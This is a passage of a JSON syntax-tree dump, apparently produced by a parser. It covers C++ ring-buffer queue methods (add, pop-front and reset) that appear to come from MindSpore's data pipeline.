"assignment_expression", "text": "*(arr_[k]) = ele", "parent": 965, "children": [987, 993, 994], "start_point": {"row": 201, "column": 4}, "end_point": {"row": 201, "column": 20}}, {"id": 987, "type": "pointer_expression", "text": "*(arr_[k])", "parent": 986, "children": [988, 989], "start_point": {"row": 201, "column": 4}, "end_point": {"row": 201, "column": 14}}, {"id": 988, "type": "*", "text": "*", "parent": 987, "children": [], "start_point": {"row": 201, "column": 4}, "end_point": {"row": 201, "column": 5}}, {"id": 989, "type": "parenthesized_expression", "text": "(arr_[k])", "parent": 987, "children": [990], "start_point": {"row": 201, "column": 5}, "end_point": {"row": 201, "column": 14}}, {"id": 990, "type": "subscript_expression", "text": "arr_[k]", "parent": 989, "children": [991, 992], "start_point": {"row": 201, "column": 6}, "end_point": {"row": 201, "column": 13}}, {"id": 991, "type": "identifier", "text": "arr_", "parent": 990, "children": [], "start_point": {"row": 201, "column": 6}, "end_point": {"row": 201, "column": 10}}, {"id": 992, "type": "identifier", "text": "k", "parent": 990, "children": [], "start_point": {"row": 201, "column": 11}, "end_point": {"row": 201, "column": 12}}, {"id": 993, "type": "=", "text": "=", "parent": 986, "children": [], "start_point": {"row": 201, "column": 15}, "end_point": {"row": 201, "column": 16}}, {"id": 994, "type": "identifier", "text": "ele", "parent": 986, "children": [], "start_point": {"row": 201, "column": 17}, "end_point": {"row": 201, "column": 20}}, {"id": 995, "type": "return_statement", "text": "return Status::OK();", "parent": 965, "children": [996, 998], "start_point": {"row": 202, "column": 4}, "end_point": {"row": 202, "column": 24}}, {"id": 996, "type": "ERROR", "text": "Status::", "parent": 995, "children": [997], "start_point": {"row": 202, "column": 11}, "end_point": {"row": 202, "column": 19}}, {"id": 997, "type": "identifier", "text": "Status", "parent": 996, "children": [], "start_point": {"row": 202, "column": 11}, "end_point": {"row": 202, "column": 17}}, {"id": 998, "type": "call_expression", "text": "OK()", "parent": 995, "children": [999, 1000], "start_point": {"row": 202, "column": 19}, "end_point": {"row": 202, "column": 23}}, {"id": 999, "type": "identifier", "text": "OK", "parent": 998, "children": [], "start_point": {"row": 202, "column": 19}, "end_point": {"row": 202, "column": 21}}, {"id": 1000, "type": "argument_list", "text": "()", "parent": 998, "children": [], "start_point": {"row": 202, "column": 21}, "end_point": {"row": 202, "column": 23}}, {"id": 1001, "type": "function_definition", "text": "Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }", "parent": 51, "children": [1002, 1003], "start_point": {"row": 206, "column": 2}, "end_point": {"row": 210, "column": 3}}, {"id": 1002, "type": "type_identifier", "text": "Status", "parent": 1001, "children": [], "start_point": {"row": 206, "column": 2}, "end_point": {"row": 206, "column": 8}}, {"id": 1003, "type": "function_declarator", "text": "AddWhileHoldingLock(T &&ele)", "parent": 1001, "children": [1004, 1005], "start_point": {"row": 206, "column": 9}, "end_point": {"row": 206, "column": 37}}, {"id": 1004, "type": "identifier", "text": "AddWhileHoldingLock", "parent": 1003, "children": [], "start_point": {"row": 206, "column": 9}, "end_point": {"row": 206, "column": 28}}, {"id": 1005, "type": "parameter_list", "text": "(T &&ele)", "parent": 1003, "children": [1006], "start_point": {"row": 206, "column": 28}, "end_point": {"row": 206, "column": 37}}, {"id": 1006, "type": "parameter_declaration", "text": "T &&ele", "parent": 1005, "children": [1007, 1008, 1010], "start_point": {"row": 206, "column": 29}, "end_point": {"row": 206, "column": 36}}, {"id": 1007, "type": "type_identifier", "text": "T", "parent": 1006, "children": [], "start_point": {"row": 206, "column": 29}, "end_point": {"row": 206, "column": 30}}, {"id": 1008, "type": "ERROR", "text": "&&", "parent": 1006, "children": [1009], "start_point": {"row": 206, "column": 31}, "end_point": {"row": 206, "column": 33}}, {"id": 1009, "type": "&&", "text": "&&", "parent": 1008, "children": [], "start_point": {"row": 206, "column": 31}, "end_point": {"row": 206, "column": 33}}, {"id": 1010, "type": "identifier", "text": "ele", "parent": 1006, "children": [], "start_point": {"row": 206, "column": 33}, "end_point": {"row": 206, "column": 36}}, {"id": 1011, "type": "declaration", "text": "auto k = tail_++ % sz_;", "parent": 1001, "children": [1012, 1014, 1015], "start_point": {"row": 207, "column": 4}, "end_point": {"row": 207, "column": 27}}, {"id": 1012, "type": "storage_class_specifier", "text": "auto", "parent": 1011, "children": [1013], "start_point": {"row": 207, "column": 4}, "end_point": {"row": 207, "column": 8}}, {"id": 1013, "type": "auto", "text": "auto", "parent": 1012, "children": [], "start_point": {"row": 207, "column": 4}, "end_point": {"row": 207, "column": 8}}, {"id": 1014, "type": "type_identifier", "text": "k", "parent": 1011, "children": [], "start_point": {"row": 207, "column": 9}, "end_point": {"row": 207, "column": 10}}, {"id": 1015, "type": "init_declarator", "text": " = tail_++ % sz_", "parent": 1011, "children": [1016, 1017, 1018], "start_point": {"row": 207, "column": 10}, "end_point": {"row": 207, "column": 26}}, {"id": 1016, "type": "identifier", "text": "", "parent": 1015, "children": [], "start_point": {"row": 207, "column": 10}, "end_point": {"row": 207, "column": 10}}, {"id": 1017, "type": "=", "text": "=", "parent": 1015, "children": [], "start_point": {"row": 207, "column": 11}, "end_point": {"row": 207, "column": 12}}, {"id": 1018, "type": "binary_expression", "text": "tail_++ % sz_", "parent": 1015, "children": [1019, 1022, 1023], "start_point": {"row": 207, "column": 13}, "end_point": {"row": 207, "column": 26}}, {"id": 1019, "type": "update_expression", "text": "tail_++", "parent": 1018, "children": [1020, 1021], "start_point": {"row": 207, "column": 13}, "end_point": {"row": 207, "column": 20}}, {"id": 1020, "type": "identifier", "text": "tail_", "parent": 1019, "children": [], "start_point": {"row": 207, "column": 13}, "end_point": {"row": 207, "column": 18}}, {"id": 1021, "type": "++", "text": "++", "parent": 1019, "children": [], "start_point": {"row": 207, "column": 18}, "end_point": {"row": 207, "column": 20}}, {"id": 1022, "type": "%", "text": "%", "parent": 1018, "children": [], "start_point": {"row": 207, "column": 21}, "end_point": {"row": 207, "column": 22}}, {"id": 1023, "type": "identifier", "text": "sz_", "parent": 1018, "children": [], "start_point": {"row": 207, "column": 23}, "end_point": {"row": 207, "column": 26}}, {"id": 1024, "type": "binary_expression", "text": "*(arr_[k]) = std::forward<T>(ele)", "parent": 1001, "children": [1025, 1039, 1040], "start_point": {"row": 208, "column": 4}, "end_point": {"row": 208, "column": 37}}, {"id": 1025, "type": "binary_expression", "text": "*(arr_[k]) = std::forward<T", "parent": 1024, "children": [1026, 1035, 1037, 1038], "start_point": {"row": 208, "column": 4}, "end_point": {"row": 208, "column": 31}}, {"id": 1026, "type": "assignment_expression", "text": "*(arr_[k]) = std", "parent": 1025, "children": [1027, 1033, 1034], "start_point": {"row": 208, "column": 4}, "end_point": {"row": 208, "column": 20}}, {"id": 1027, "type": "pointer_expression", "text": "*(arr_[k])", "parent": 1026, "children": [1028, 1029], "start_point": {"row": 208, "column": 4}, "end_point": {"row": 208, "column": 14}}, {"id": 1028, "type": "*", "text": "*", "parent": 1027, "children": [], "start_point": {"row": 208, "column": 4}, "end_point": {"row": 208, "column": 5}}, {"id": 1029, "type": "parenthesized_expression", "text": "(arr_[k])", "parent": 1027, "children": [1030], "start_point": {"row": 208, "column": 5}, "end_point": {"row": 208, "column": 14}}, {"id": 1030, "type": "subscript_expression", "text": "arr_[k]", "parent": 1029, "children": [1031, 1032], "start_point": {"row": 208, "column": 6}, "end_point": {"row": 208, "column": 13}}, {"id": 1031, "type": "identifier", "text": "arr_", "parent": 1030, "children": [], "start_point": {"row": 208, "column": 6}, "end_point": {"row": 208, "column": 10}}, {"id": 1032, "type": "identifier", "text": "k", "parent": 1030, "children": [], "start_point": {"row": 208, "column": 11}, "end_point": {"row": 208, "column": 12}}, {"id": 1033, "type": "=", "text": "=", "parent": 1026, "children": [], "start_point": {"row": 208, "column": 15}, "end_point": {"row": 208, "column": 16}}, {"id": 1034, "type": "identifier", "text": "std", "parent": 1026, "children": [], "start_point": {"row": 208, "column": 17}, "end_point": {"row": 208, "column": 20}}, {"id": 1035, "type": "ERROR", "text": "::forward", "parent": 1025, "children": [1036], "start_point": {"row": 208, "column": 20}, "end_point": {"row": 208, "column": 29}}, {"id": 1036, "type": "identifier", "text": "forward", "parent": 1035, "children": [], "start_point": {"row": 208, "column": 22}, "end_point": {"row": 208, "column": 29}}, {"id": 1037, "type": "<", "text": "<", "parent": 1025, "children": [], "start_point": {"row": 208, "column": 29}, "end_point": {"row": 208, "column": 30}}, {"id": 1038, "type": "identifier", "text": "T", "parent": 1025, "children": [], "start_point": {"row": 208, "column": 30}, "end_point": {"row": 208, "column": 31}}, {"id": 1039, "type": ">", "text": ">", "parent": 1024, "children": [], "start_point": {"row": 208, "column": 31}, "end_point": {"row": 208, "column": 32}}, {"id": 1040, "type": "parenthesized_expression", "text": "(ele)", "parent": 1024, "children": [1041], "start_point": {"row": 208, "column": 32}, "end_point": {"row": 208, "column": 37}}, {"id": 1041, "type": "identifier", "text": "ele", "parent": 1040, "children": [], "start_point": {"row": 208, "column": 33}, "end_point": {"row": 208, "column": 36}}, {"id": 1042, "type": "return_statement", "text": "return Status::OK();", "parent": 1001, "children": [1043, 1045], "start_point": {"row": 209, "column": 4}, "end_point": {"row": 209, "column": 24}}, {"id": 1043, "type": "ERROR", "text": "Status::", "parent": 1042, "children": [1044], "start_point": {"row": 209, "column": 11}, "end_point": {"row": 209, "column": 19}}, {"id": 1044, "type": "identifier", "text": "Status", "parent": 1043, "children": [], "start_point": {"row": 209, "column": 11}, "end_point": {"row": 209, "column": 17}}, {"id": 1045, "type": "call_expression", "text": "OK()", "parent": 1042, "children": [1046, 1047], "start_point": {"row": 209, "column": 19}, "end_point": {"row": 209, "column": 23}}, {"id": 1046, "type": "identifier", "text": "OK", "parent": 1045, "children": [], "start_point": {"row": 209, "column": 19}, "end_point": {"row": 209, "column": 21}}, {"id": 1047, "type": "argument_list", "text": "()", "parent": 1045, "children": [], "start_point": {"row": 209, "column": 21}, "end_point": {"row": 209, "column": 23}}, {"id": 1048, "type": "function_definition", "text": "Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }", "parent": 51, "children": [1049, 1050], "start_point": {"row": 213, "column": 2}, "end_point": {"row": 221, "column": 3}}, {"id": 1049, "type": "type_identifier", "text": "Status", "parent": 1048, "children": [], "start_point": {"row": 213, "column": 2}, "end_point": {"row": 213, "column": 8}}, {"id": 1050, "type": "function_declarator", "text": "PopFrontWhileHoldingLock(pointer p, bool clean_extra)", "parent": 1048, "children": [1051, 1052], "start_point": {"row": 213, "column": 9}, "end_point": {"row": 213, "column": 62}}, {"id": 1051, "type": "identifier", "text": "PopFrontWhileHoldingLock", "parent": 1050, "children": [], "start_point": {"row": 213, "column": 9}, "end_point": {"row": 213, "column": 33}}, {"id": 1052, "type": "parameter_list", "text": "(pointer p, bool clean_extra)", "parent": 1050, "children": [1053, 1056], "start_point": {"row": 213, "column": 33}, "end_point": {"row": 213, "column": 62}}, {"id": 1053, "type": "parameter_declaration", "text": "pointer p", "parent": 1052, "children": [1054, 1055], "start_point": {"row": 213, "column": 34}, "end_point": {"row": 213, "column": 43}}, {"id": 1054, "type": "type_identifier", "text": "pointer", "parent": 1053, "children": [], "start_point": {"row": 213, "column": 34}, "end_point": {"row": 213, "column": 41}}, {"id": 1055, "type": "identifier", "text": "p", "parent": 1053, "children": [], "start_point": {"row": 213, "column": 42}, "end_point": {"row": 213, "column": 43}}, {"id": 1056, "type": "parameter_declaration", "text": "bool clean_extra", "parent": 1052, "children": [1057, 1058], "start_point": {"row": 213, "column": 45}, "end_point": {"row": 213, "column": 61}}, {"id": 1057, "type": "primitive_type", "text": "bool", "parent": 1056, "children": [], "start_point": {"row": 213, "column": 45}, "end_point": {"row": 213, "column": 49}}, {"id": 1058, "type": "identifier", "text": "clean_extra", "parent": 1056, "children": [], "start_point": {"row": 213, "column": 50}, "end_point": {"row": 213, "column": 61}}, {"id": 1059, "type": "declaration", "text": "auto k = head_++ % sz_;", "parent": 1048, "children": [1060, 1062, 1063], "start_point": {"row": 214, "column": 4}, "end_point": {"row": 214, "column": 27}}, {"id": 1060, "type": "storage_class_specifier", "text": "auto", "parent": 1059, "children": [1061], "start_point": {"row": 214, "column": 4}, "end_point": {"row": 214, "column": 8}}, {"id": 1061, "type": "auto", "text": "auto", "parent": 1060, "children": [], "start_point": {"row": 214, "column": 4}, "end_point": {"row": 214, "column": 8}}, {"id": 1062, "type": "type_identifier", "text": "k", "parent": 1059, "children": [], "start_point": {"row": 214, "column": 9}, "end_point": {"row": 214, "column": 10}}, {"id": 1063, "type": "init_declarator", "text": " = head_++ % sz_", "parent": 1059, "children": [1064, 1065, 1066], "start_point": {"row": 214, "column": 10}, "end_point": {"row": 214, "column": 26}}, {"id": 1064, "type": "identifier", "text": "", "parent": 1063, "children": [], "start_point": {"row": 214, "column": 10}, "end_point": {"row": 214, "column": 10}}, {"id": 1065, "type": "=", "text": "=", "parent": 1063, "children": [], "start_point": {"row": 214, "column": 11}, "end_point": {"row": 214, "column": 12}}, {"id": 1066, "type": "binary_expression", "text": "head_++ % sz_", "parent": 1063, "children": [1067, 1070, 1071], "start_point": {"row": 214, "column": 13}, "end_point": {"row": 214, "column": 26}}, {"id": 1067, "type": "update_expression", "text": "head_++", "parent": 1066, "children": [1068, 1069], "start_point": {"row": 214, "column": 13}, "end_point": {"row": 214, "column": 20}}, {"id": 1068, "type": "identifier", "text": "head_", "parent": 1067, "children": [], "start_point": {"row": 214, "column": 13}, "end_point": {"row": 214, "column": 18}}, {"id": 1069, "type": "++", "text": "++", "parent": 1067, "children": [], "start_point": {"row": 214, "column": 18}, "end_point": {"row": 214, "column": 20}}, {"id": 1070, "type": "%", "text": "%", "parent": 1066, "children": [], "start_point": {"row": 214, "column": 21}, "end_point": {"row": 214, "column": 22}}, {"id": 1071, "type": "identifier", "text": "sz_", "parent": 1066, "children": [], "start_point": {"row": 214, "column": 23}, "end_point": {"row": 214, "column": 26}}, {"id": 1072, "type": "ERROR", "text": "*p = std::", "parent": 1048, "children": [1073], "start_point": {"row": 215, "column": 4}, "end_point": {"row": 215, "column": 14}}, {"id": 1073, "type": "assignment_expression", "text": "*p = std", "parent": 1072, "children": [1074, 1077, 1078], "start_point": {"row": 215, "column": 4}, "end_point": {"row": 215, "column": 12}}, {"id": 1074, "type": "pointer_expression", "text": "*p", "parent": 1073, "children": [1075, 1076], "start_point": {"row": 215, "column": 4}, "end_point": {"row": 215, "column": 6}}, {"id": 1075, "type": "*", "text": "*", "parent": 1074, "children": [], "start_point": {"row": 215, "column": 4}, "end_point": {"row": 215, "column": 5}}, {"id": 1076, "type": "identifier", "text": "p", "parent": 1074, "children": [], "start_point": {"row": 215, "column": 5}, "end_point": {"row": 215, "column": 6}}, {"id": 1077, "type": "=", "text": "=", "parent": 1073, "children": [], "start_point": {"row": 215, "column": 7}, "end_point": {"row": 215, "column": 8}}, {"id": 1078, "type": "identifier", "text": "std", "parent": 1073, "children": [], "start_point": {"row": 215, "column": 9}, "end_point": {"row": 215, "column": 12}}, {"id": 1079, "type": "call_expression", "text": "move(*(arr_[k]))", "parent": 1048, "children": [1080, 1081], "start_point": {"row": 215, "column": 14}, "end_point": {"row": 215, "column": 30}}, {"id": 1080, "type": "identifier", "text": "move", "parent": 1079, "children": [], "start_point": {"row": 215, "column": 14}, "end_point": {"row": 215, "column": 18}}, {"id": 1081, "type": "argument_list", "text": "(*(arr_[k]))", "parent": 1079, "children": [1082], "start_point": {"row": 215, "column": 18}, "end_point": {"row": 215, "column": 30}}, {"id": 1082, "type": "pointer_expression", "text": "*(arr_[k])", "parent": 1081, "children": [1083, 1084], "start_point": {"row": 215, "column": 19}, "end_point": {"row": 215, "column": 29}}, {"id": 1083, "type": "*", "text": "*", "parent": 1082, "children": [], "start_point": {"row": 215, "column": 19}, "end_point": {"row": 215, "column": 20}}, {"id": 1084, "type": "parenthesized_expression", "text": "(arr_[k])", "parent": 1082, "children": [1085], "start_point": {"row": 215, "column": 20}, "end_point": {"row": 215, "column": 29}}, {"id": 1085, "type": "subscript_expression", "text": "arr_[k]", "parent": 1084, "children": [1086, 1087], "start_point": {"row": 215, "column": 21}, "end_point": {"row": 215, "column": 28}}, {"id": 1086, "type": "identifier", "text": "arr_", "parent": 1085, "children": [], "start_point": {"row": 215, "column": 21}, "end_point": {"row": 215, "column": 25}}, {"id": 1087, "type": "identifier", "text": "k", "parent": 1085, "children": [], "start_point": {"row": 215, "column": 26}, "end_point": {"row": 215, "column": 27}}, {"id": 1088, "type": "if_statement", "text": "if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }", "parent": 1048, "children": [1089], "start_point": {"row": 216, "column": 4}, "end_point": {"row": 219, "column": 5}}, {"id": 1089, "type": "parenthesized_expression", "text": "(!extra_arr_.empty() && clean_extra)", "parent": 1088, "children": [1090], "start_point": {"row": 216, "column": 7}, "end_point": {"row": 216, "column": 43}}, {"id": 1090, "type": "binary_expression", "text": "!extra_arr_.empty() && clean_extra", "parent": 1089, "children": [1091, 1098, 1099], "start_point": {"row": 216, "column": 8}, "end_point": {"row": 216, "column": 42}}, {"id": 1091, "type": "unary_expression", "text": "!extra_arr_.empty()", "parent": 1090, "children": [1092, 1093], "start_point": {"row": 216, "column": 8}, "end_point": {"row": 216, "column": 27}}, {"id": 1092, "type": "!", "text": "!", "parent": 1091, "children": [], "start_point": {"row": 216, "column": 8}, "end_point": {"row": 216, "column": 9}}, {"id": 1093, "type": "call_expression", "text": "extra_arr_.empty()", "parent": 1091, "children": [1094, 1097], "start_point": {"row": 216, "column": 9}, "end_point": {"row": 216, "column": 27}}, {"id": 1094, "type": "field_expression", "text": "extra_arr_.empty", "parent": 1093, "children": [1095, 1096], "start_point": {"row": 216, "column": 9}, "end_point": {"row": 216, "column": 25}}, {"id": 1095, "type": "identifier", "text": "extra_arr_", "parent": 1094, "children": [], "start_point": {"row": 216, "column": 9}, "end_point": {"row": 216, "column": 19}}, {"id": 1096, "type": "field_identifier", "text": "empty", "parent": 1094, "children": [], "start_point": {"row": 216, "column": 20}, "end_point": {"row": 216, "column": 25}}, {"id": 1097, "type": "argument_list", "text": "()", "parent": 1093, "children": [], "start_point": {"row": 216, "column": 25}, "end_point": {"row": 216, "column": 27}}, {"id": 1098, "type": "&&", "text": "&&", "parent": 1090, "children": [], "start_point": {"row": 216, "column": 28}, "end_point": {"row": 216, "column": 30}}, {"id": 1099, "type": "identifier", "text": "clean_extra", "parent": 1090, "children": [], "start_point": {"row": 216, "column": 31}, "end_point": {"row": 216, "column": 42}}, {"id": 1100, "type": "call_expression", "text": "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])))", "parent": 1088, "children": [1101, 1102], "start_point": {"row": 217, "column": 6}, "end_point": {"row": 217, "column": 81}}, {"id": 1101, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 1100, "children": [], "start_point": {"row": 217, "column": 6}, "end_point": {"row": 217, "column": 22}}, {"id": 1102, "type": "argument_list", "text": "(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])))", "parent": 1100, "children": [1103], "start_point": {"row": 217, "column": 22}, "end_point": {"row": 217, "column": 81}}, {"id": 1103, "type": "call_expression", "text": "this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0]))", "parent": 1102, "children": [1104, 1107], "start_point": {"row": 217, "column": 23}, "end_point": {"row": 217, "column": 80}}, {"id": 1104, "type": "field_expression", "text": "this->AddWhileHoldingLock", "parent": 1103, "children": [1105, 1106], "start_point": {"row": 217, "column": 23}, "end_point": {"row": 217, "column": 48}}, {"id": 1105, "type": "identifier", "text": "this", "parent": 1104, "children": [], "start_point": {"row": 217, "column": 23}, "end_point": {"row": 217, "column": 27}}, {"id": 1106, "type": "field_identifier", "text": "AddWhileHoldingLock", "parent": 1104, "children": [], "start_point": {"row": 217, "column": 29}, "end_point": {"row": 217, "column": 48}}, {"id": 1107, "type": "argument_list", "text": "(std::forward<T>(extra_arr_[0]))", "parent": 1103, "children": [1108, 1110], "start_point": {"row": 217, "column": 48}, "end_point": {"row": 217, "column": 80}}, {"id": 1108, "type": "ERROR", "text": "std::", "parent": 1107, "children": [1109], "start_point": {"row": 217, "column": 49}, "end_point": {"row": 217, "column": 54}}, {"id": 1109, "type": "identifier", "text": "std", "parent": 1108, "children": [], "start_point": {"row": 217, "column": 49}, "end_point": {"row": 217, "column": 52}}, {"id": 1110, "type": "binary_expression", "text": "forward<T>(extra_arr_[0])", "parent": 1107, "children": [1111, 1115, 1116], "start_point": {"row": 217, "column": 54}, "end_point": {"row": 217, "column": 79}}, {"id": 1111, "type": "binary_expression", "text": "forward<T", "parent": 1110, "children": [1112, 1113, 1114], "start_point": {"row": 217, "column": 54}, "end_point": {"row": 217, "column": 63}}, {"id": 1112, "type": "identifier", "text": "forward", "parent": 1111, "children": [], "start_point": {"row": 217, "column": 54}, "end_point": {"row": 217, "column": 61}}, {"id": 1113, "type": "<", "text": "<", "parent": 1111, "children": [], "start_point": {"row": 217, "column": 61}, "end_point": {"row": 217, "column": 62}}, {"id": 1114, "type": "identifier", "text": "T", "parent": 1111, "children": [], "start_point": {"row": 217, "column": 62}, "end_point": {"row": 217, "column": 63}}, {"id": 1115, "type": ">", "text": ">", "parent": 1110, "children": [], "start_point": {"row": 217, "column": 63}, "end_point": {"row": 217, "column": 64}}, {"id": 1116, "type": "parenthesized_expression", "text": "(extra_arr_[0])", "parent": 1110, "children": [1117], "start_point": {"row": 217, "column": 64}, "end_point": {"row": 217, "column": 79}}, {"id": 1117, "type": "subscript_expression", "text": "extra_arr_[0]", "parent": 1116, "children": [1118, 1119], "start_point": {"row": 217, "column": 65}, "end_point": {"row": 217, "column": 78}}, {"id": 1118, "type": "identifier", "text": "extra_arr_", "parent": 1117, "children": [], "start_point": {"row": 217, "column": 65}, "end_point": {"row": 217, "column": 75}}, {"id": 1119, "type": "number_literal", "text": "0", "parent": 1117, "children": [], "start_point": {"row": 217, "column": 76}, "end_point": {"row": 217, "column": 77}}, {"id": 1120, "type": "call_expression", "text": "extra_arr_.erase(extra_arr_.begin())", "parent": 1088, "children": [1121, 1124], "start_point": {"row": 218, "column": 6}, "end_point": {"row": 218, "column": 42}}, {"id": 1121, "type": "field_expression", "text": "extra_arr_.erase", "parent": 1120, "children": [1122, 1123], "start_point": {"row": 218, "column": 6}, "end_point": {"row": 218, "column": 22}}, {"id": 1122, "type": "identifier", "text": "extra_arr_", "parent": 1121, "children": [], "start_point": {"row": 218, "column": 6}, "end_point": {"row": 218, "column": 16}}, {"id": 1123, "type": "field_identifier", "text": "erase", "parent": 1121, "children": [], "start_point": {"row": 218, "column": 17}, "end_point": {"row": 218, "column": 22}}, {"id": 1124, "type": "argument_list", "text": "(extra_arr_.begin())", "parent": 1120, "children": [1125], "start_point": {"row": 218, "column": 22}, "end_point": {"row": 218, "column": 42}}, {"id": 1125, "type": "call_expression", "text": "extra_arr_.begin()", "parent": 1124, "children": [1126, 1128], "start_point": {"row": 218, "column": 23}, "end_point": {"row": 218, "column": 41}}, {"id": 1126, "type": "field_expression", "text": "extra_arr_.begin", "parent": 1125, "children": [1127], "start_point": {"row": 218, "column": 23}, "end_point": {"row": 218, "column": 39}}, {"id": 1127, "type": "identifier", "text": "extra_arr_", "parent": 1126, "children": [], "start_point": {"row": 218, "column": 23}, "end_point": {"row": 218, "column": 33}}, {"id": 1128, "type": "argument_list", "text": "()", "parent": 1125, "children": [], "start_point": {"row": 218, "column": 39}, "end_point": {"row": 218, "column": 41}}, {"id": 1129, "type": "return_statement", "text": "return Status::OK();", "parent": 1048, "children": [1130, 1132], "start_point": {"row": 220, "column": 4}, "end_point": {"row": 220, "column": 24}}, {"id": 1130, "type": "ERROR", "text": "Status::", "parent": 1129, "children": [1131], "start_point": {"row": 220, "column": 11}, "end_point": {"row": 220, "column": 19}}, {"id": 1131, "type": "identifier", "text": "Status", "parent": 1130, "children": [], "start_point": {"row": 220, "column": 11}, "end_point": {"row": 220, "column": 17}}, {"id": 1132, "type": "call_expression", "text": "OK()", "parent": 1129, "children": [1133, 1134], "start_point": {"row": 220, "column": 19}, "end_point": {"row": 220, "column": 23}}, {"id": 1133, "type": "identifier", "text": "OK", "parent": 1132, "children": [], "start_point": {"row": 220, "column": 19}, "end_point": {"row": 220, "column": 21}}, {"id": 1134, "type": "argument_list", "text": "()", "parent": 1132, "children": [], "start_point": {"row": 220, "column": 21}, "end_point": {"row": 220, "column": 23}}, {"id": 1135, "type": "function_definition", "text": "void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }", "parent": 51, "children": [1136, 1137], "start_point": {"row": 223, "column": 2}, "end_point": {"row": 233, "column": 3}}, {"id": 1136, "type": "primitive_type", "text": "void", "parent": 1135, "children": [], "start_point": {"row": 223, "column": 2}, "end_point": {"row": 223, "column": 6}}, {"id": 1137, "type": "function_declarator", "text": "ResetQue() noexcept", "parent": 1135, "children": [1138, 1139, 1140], "start_point": {"row": 223, "column": 7}, "end_point": {"row": 223, "column": 26}}, {"id": 1138, "type": "identifier", "text": "ResetQue", "parent": 1137, "children": [], "start_point": {"row": 223, "column": 7}, "end_point": {"row": 223, "column": 15}}, {"id": 1139, "type": "parameter_list", "text": "()", "parent": 1137, "children": [], "start_point": {"row": 223, "column": 15}, "end_point": {"row": 223, "column": 17}}, {"id": 1140, "type": "identifier", "text": "noexcept", "parent": 1137, "children": [], "start_point": {"row": 223, "column": 18}, "end_point": {"row": 223, "column": 26}}, {"id": 1141, "type": "while_statement", "text": "while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << \"Address of val: \" << &val;\n }", "parent": 1135, "children": [1142], "start_point": {"row": 224, "column": 4}, "end_point": {"row": 228, "column": 5}}, {"id": 1142, "type": "parenthesized_expression", "text": "(head_ < tail_)", "parent": 1141, "children": [1143], "start_point": {"row": 224, "column": 10}, "end_point": {"row": 224, "column": 25}}, {"id": 1143, "type": "binary_expression", "text": "head_ < tail_", "parent": 1142, "children": [1144, 1145, 1146], "start_point": {"row": 224, "column": 11}, "end_point": {"row": 224, "column": 24}}, {"id": 1144, "type": "identifier", "text": "head_", "parent": 1143, "children": [], "start_point": {"row": 224, "column": 11}, "end_point": {"row": 224, "column": 16}}, {"id": 1145, "type": "<", "text": "<", "parent": 1143, "children": [], "start_point": {"row": 224, "column": 17}, "end_point": {"row": 224, "column": 18}}, {"id": 1146, "type": "identifier", "text": "tail_", "parent": 1143, "children": [], "start_point": {"row": 224, "column": 19}, "end_point": {"row": 224, "column": 24}}, {"id": 1147, "type": "declaration", "text": "T val;", "parent": 1141, "children": [1148, 1149], "start_point": {"row": 225, "column": 6}, "end_point": {"row": 225, "column": 12}}, {"id": 1148, "type": "type_identifier", "text": "T", "parent": 1147, "children": [], "start_point": {"row": 225, "column": 6}, "end_point": {"row": 225, "column": 7}}, {"id": 1149, "type": "identifier", "text": "val", "parent": 1147, "children": [], "start_point": {"row": 225, "column": 8}, "end_point": {"row": 225, "column": 11}}, {"id": 1150, "type": "call_expression", "text": "this->PopFrontWhileHoldingLock(&val, false)", "parent": 1141, "children": [1151, 1154], "start_point": {"row": 226, "column": 6}, "end_point": {"row": 226, "column": 49}}, {"id": 1151, "type": "field_expression", "text": "this->PopFrontWhileHoldingLock", "parent": 1150, "children": [1152, 1153], "start_point": {"row": 226, "column": 6}, "end_point": {"row": 226, "column": 36}}, {"id": 1152, "type": "identifier", "text": "this", "parent": 1151, "children": [], "start_point": {"row": 226, "column": 6}, "end_point": {"row": 226, "column": 10}}, {"id": 1153, "type": "field_identifier", "text": "PopFrontWhileHoldingLock", "parent": 1151, "children": [], "start_point": {"row": 226, "column": 12}, "end_point": {"row": 226, "column": 36}}, {"id": 1154, "type": "argument_list", "text": "(&val, false)", "parent": 1150, "children": [1155, 1157], "start_point": {"row": 226, "column": 36}, "end_point": {"row": 226, "column": 49}}, {"id": 1155, "type": "pointer_expression", "text": "&val", "parent": 1154, "children": [1156], "start_point": {"row": 226, "column": 37}, "end_point": {"row": 226, "column": 41}}, {"id": 1156, "type": "identifier", "text": "val", "parent": 1155, "children": [], "start_point": {"row": 226, "column": 38}, "end_point": {"row": 226, "column": 41}}, {"id": 1157, "type": "false", "text": "false", "parent": 1154, "children": [], "start_point": {"row": 226, "column": 43}, "end_point": {"row": 226, "column": 48}}, {"id": 1158, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Address of val: \" << &val", "parent": 1141, "children": [1159, 1166, 1167], "start_point": {"row": 227, "column": 6}, "end_point": {"row": 227, "column": 49}}, {"id": 1159, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Address of val: \"", "parent": 1158, "children": [1160, 1164, 1165], "start_point": {"row": 227, "column": 6}, "end_point": {"row": 227, "column": 41}}, {"id": 1160, "type": "call_expression", "text": "MS_LOG(DEBUG)", "parent": 1159, "children": [1161, 1162], "start_point": {"row": 227, "column": 6}, "end_point": {"row": 227, "column": 19}}, {"id": 1161, "type": "identifier", "text": "MS_LOG", "parent": 1160, "children": [], "start_point": {"row": 227, "column": 